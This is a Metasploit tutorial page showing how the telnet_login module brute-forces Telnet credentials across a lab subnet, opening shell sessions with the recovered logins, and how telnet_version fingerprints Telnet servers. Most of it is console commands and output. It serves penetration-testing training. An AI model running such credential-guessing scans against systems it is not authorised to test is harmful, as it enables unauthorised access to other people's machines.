Scanner Telnet Auxiliary Modules a11y.text Scanner Telnet Auxiliary Modules telnet_login a11y.text telnet_login The telnet_login module will take a list of provided credentials and a range of IP addresses and attempt to login to any Telnet servers it encounters. msf > use auxiliary/scanner/telnet/telnet_login

msf auxiliary(telnet_login) > show options

Module options (auxiliary/scanner/telnet/telnet_login):

| Name | Current Setting | Required | Description |
|---|---|---|---|
| BLANK_PASSWORDS | false | no | Try blank passwords for all users |
| BRUTEFORCE_SPEED | 5 | yes | How fast to bruteforce, from 0 to 5 |
| DB_ALL_CREDS | false | no | Try each user/password couple stored in the current database |
| DB_ALL_PASS | false | no | Add all passwords in the current database to the list |
| DB_ALL_USERS | false | no | Add all users in the current database to the list |
| PASSWORD | | no | A specific password to authenticate with |
| PASS_FILE | | no | File containing passwords, one per line |
| RHOSTS | | yes | The target address range or CIDR identifier |
| RPORT | 23 | yes | The target port (TCP) |
| STOP_ON_SUCCESS | false | yes | Stop guessing when a credential works for a host |
| THREADS | 1 | yes | The number of concurrent threads |
| USERNAME | | no | A specific username to authenticate as |
| USERPASS_FILE | | no | File containing users and passwords separated by space, one pair per line |
| USER_AS_PASS | false | no | Try the username as the password for all users |

USER_FILE no File containing usernames, one per line

VERBOSE true yes Whether to print output for all attempts This auxiliary module allows you to pass credentials in a number of ways. You can specifically set a username and password, you can pass a list of usernames and a list of passwords for it to iterate through, or you can provide a file that contains usernames and passwords separated by a space.

We will configure the scanner to use a short usernames file and a passwords file and let it run against our subnet. msf auxiliary(telnet_login) > set BLANK_PASSWORDS false

BLANK_PASSWORDS => false

msf auxiliary(telnet_login) > set PASS_FILE passwords.txt

PASS_FILE => passwords.txt

msf auxiliary(telnet_login) > set RHOSTS 192.168.1.0/24

RHOSTS => 192.168.1.0/24

msf auxiliary(telnet_login) > set THREADS 254

THREADS => 254

msf auxiliary(telnet_login) > set USER_FILE users.txt

USER_FILE => users.txt

msf auxiliary(telnet_login) > set VERBOSE false

VERBOSE => false

msf auxiliary(telnet_login) > run

[+] 192.168.1.116 - SUCCESSFUL LOGIN root : s00p3rs3ckret

[*] Command shell session 1 opened (192.168.1.101:50017 -> 192.168.1.116:23) at 2010-10-08 06:48:27 -0600

[+] 192.168.1.116 - SUCCESSFUL LOGIN admin : s00p3rs3ckret

[*] Command shell session 2 opened (192.168.1.101:41828 -> 192.168.1.116:23) at 2010-10-08 06:48:28 -0600

[*] Scanned 243 of 256 hosts (094% complete)

[+] 192.168.1.56 - SUCCESSFUL LOGIN msfadmin : msfadmin

[*] Command shell session 3 opened (192.168.1.101:49210 -> 192.168.1.56:23) at 2010-10-08 06:49:07 -0600

[*] Scanned 248 of 256 hosts (096% complete)

[*] Scanned 250 of 256 hosts (097% complete)

[*] Scanned 255 of 256 hosts (099% complete)

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed It seems that our scan has been successful and Metasploit has a few sessions open for us. Letâ€™s see if we can interact with one of them. msf auxiliary(telnet_login) > sessions -l

Active sessions

==========

| Id | Type | Information | Connection |
|---|---|---|---|
| 1 | shell | TELNET root:s00p3rs3ckret (192.168.1.116:23) | 192.168.1.101:50017 -> 192.168.1.116:23 |
| 2 | shell | TELNET admin:s00p3rs3ckret (192.168.1.116:23) | 192.168.1.101:41828 -> 192.168.1.116:23 |
| 3 | shell | TELNET msfadmin:msfadmin (192.168.1.56:23) | 192.168.1.101:49210 -> 192.168.1.56:23 |

msf auxiliary(telnet_login) > sessions -i 3

[*] Starting interaction with 3...

id

id

uid=1000(msfadmin) gid=1000(msfadmin)

groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),

111(lpadmin),112(admin),119(sambashare),1000(msfadmin)

msfadmin@metasploitable:~$ exit

exit

logout

[*] Command shell session 3 closed.

msf auxiliary(telnet_login) > telnet_version a11y.text telnet_version From a network security perspective, one would hope that Telnet would no longer be in use as everything, including credentials is passed in the clear but the fact is, you will still frequently encounter systems running Telnet, particularly on legacy systems.

The telnet_version auxiliary module will scan a subnet and fingerprint any Telnet servers that are running. We just need to pass a range of IPs to the module, set our THREADS value, and let it fly.

msf > use auxiliary/scanner/telnet/telnet_version

msf auxiliary(telnet_version) > show options

Module options:

| Name | Current Setting | Required | Description |
|---|---|---|---|
| PASSWORD | | no | The password for the specified username |
| RHOSTS | | yes | The target address range or CIDR identifier |
| RPORT | 23 | yes | The target port |

THREADS 1 yes The number of concurrent threads

TIMEOUT 30 yes Timeout for the Telnet probe

USERNAME no The username to authenticate as

msf auxiliary(telnet_version) > set RHOSTS 192.168.1.0/24

RHOSTS => 192.168.1.0/24

msf auxiliary(telnet_version) > set THREADS 254

THREADS => 254

msf auxiliary(telnet_version) > run

[*] 192.168.1.2:23 TELNET (GSM7224) \x0aUser:

[*] 192.168.1.56:23 TELNET Ubuntu 8.04\x0ametasploitable login:

[*] 192.168.1.116:23 TELNET Welcome to GoodTech Systems Telnet Server for Windows NT/2000/XP (Evaluation Copy)\x0a\x0a(C) Copyright 1996-2002 GoodTech Systems, Inc.\x0a\x0a\x0aLogin username:

[*] Scanned 254 of 256 hosts (099% complete)

[*] Scanned 255 of 256 hosts (099% complete)

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(telnet_version) > Next Scanner TFTP Auxiliary Modules Prev Scanner SSH Auxiliary Modules